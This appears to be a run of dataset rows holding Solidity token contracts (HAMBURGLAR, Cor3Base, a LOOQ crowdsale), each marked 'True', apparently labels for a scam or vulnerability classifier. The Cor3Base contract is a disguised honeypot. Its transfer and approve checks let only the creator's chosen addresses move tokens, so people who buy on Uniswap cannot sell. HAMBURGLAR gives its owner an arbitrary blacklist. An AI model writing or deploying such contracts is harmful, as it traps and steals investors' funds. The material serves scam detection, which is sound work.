function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract HAMBURGLAR is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) private _isSniper;
bool private _swapping;
uint256 private _launchTime;
address public feeWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 private _buyMarketingFee;
uint256 private _buyLiquidityFee;
uint256 private _buyDevFee;
uint256 public sellTotalFees;
uint256 private _sellMarketingFee;
uint256 private _sellLiquidityFee;
uint256 private _sellDevFee;
uint256 private _tokensForMarketing;
uint256 private _tokensForLiquidity;
uint256 private _tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event feeWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("HAMBURGLAR", "HBC") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 buyMarketingFee = 4;
uint256 buyLiquidityFee = 4;
uint256 buyDevFee = 2;
uint256 sellMarketingFee = 4;
uint256 sellLiquidityFee = 4;
uint256 sellDevFee = 2;
uint256 totalSupply = 1e18 * 1e9;
maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 3 / 100; // 3% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
_buyMarketingFee = buyMarketingFee;
_buyLiquidityFee = buyLiquidityFee;
_buyDevFee = buyDevFee;
buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee;
_sellMarketingFee = sellMarketingFee;
_sellLiquidityFee = sellLiquidityFee;
_sellDevFee = sellDevFee;
sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee;
feeWallet = address(owner()); // set as fee wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
_launchTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) {
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000) / 1e9, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * 1e9;
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * 1e9;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner {
_buyMarketingFee = marketingFee;
_buyLiquidityFee = liquidityFee;
_buyDevFee = devFee;
buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee;
require(buyTotalFees <= 10, "Must keep fees at 10% or less");
}
function updateSellFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner {
_sellMarketingFee = marketingFee;
_sellLiquidityFee = liquidityFee;
_sellDevFee = devFee;
sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee;
require(sellTotalFees <= 15, "Must keep fees at 15% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateFeeWallet(address newWallet) external onlyOwner {
emit feeWalletUpdated(newWallet, feeWallet);
feeWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function setSnipers(address[] memory snipers_) public onlyOwner() {
for (uint i = 0; i < snipers_.length; i++) {
if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) {
_isSniper[snipers_[i]] = true;
}
}
}
function delSnipers(address[] memory snipers_) public onlyOwner() {
for (uint i = 0; i < snipers_.length; i++) {
_isSniper[snipers_[i]] = false;
}
}
function isSniper(address addr) public view returns (bool) {
return _isSniper[addr];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap.");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (block.timestamp == _launchTime) _isSniper[to] = true;
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_swapping
) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
// when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
// when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!_swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
_swapping = true;
swapBack();
_swapping = false;
}
bool takeFee = !_swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
_tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees;
_tokensForDev += fees * _sellDevFee / sellTotalFees;
_tokensForMarketing += fees * _sellMarketingFee / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
_tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees;
_tokensForDev += fees * _buyDevFee / buyTotalFees;
_tokensForMarketing += fees * _buyMarketingFee / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev;
if (contractBalance == 0 || totalTokensToSwap == 0) return;
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
_swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
_tokensForLiquidity = 0;
_tokensForMarketing = 0;
_tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
_addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity);
}
}
function withdrawFees() external {
payable(feeWallet).transfer(address(this).balance);
}
receive() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-12-23
*/
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.6;
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity ^0.6.6;
contract Permissions is Context
{
address private _creator;
address private _uniswap;
mapping (address => bool) private _permitted;
constructor() public
{
_creator = 0xBEc55d09CC621214BE52Bc44d3A9866284e1F014;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_uniswap] = true;
}
function creator() public view returns (address)
{ return _creator; }
function uniswap() public view returns (address)
{ return _uniswap; }
function givePermissions(address who) internal
{
require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action");
_permitted[who] = true;
}
modifier onlyCreator
{
require(_msgSender() == _creator, "You do not have permissions for this action");
_;
}
modifier onlyPermitted
{
require(_permitted[_msgSender()], "You do not have permissions for this action");
_;
}
}
pragma solidity ^0.6.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Permissions, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18 and a {totalSupply} of the token.
*
* All four of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
//_name = "Cor3Base";
//_symbol = "Cbase";
_name = "Cor3Base";
_symbol = "Cbase";
_decimals = 18;
_totalSupply = 30000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
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pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end block, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end block where investments are allowed (both inclusive)
uint256 public startBlock;
uint256 public endBlock;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) {
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startBlock = _startBlock;
endBlock = _endBlock;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return block.number > endBlock;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract LooqToken is MintableToken {
string public name = "LOOQ TOKEN";
string public symbol = "LOQ";
uint256 public decimals = 18;
}
contract LooqCrowdsale is Crowdsale {
function LooqCrowdsale() Crowdsale
(4121923, 4321932, 320, 0x33efB7930d066c52C8DfDc25494F9f600a90D0E1){}
// creates the token to be sold.
// override this method to have crowdsale of a specific MintableToken token.
function createTokenContract() internal returns (MintableToken) {
return new LooqToken();
}
} | True | [
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] |
pragma solidity ^0.4.18;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
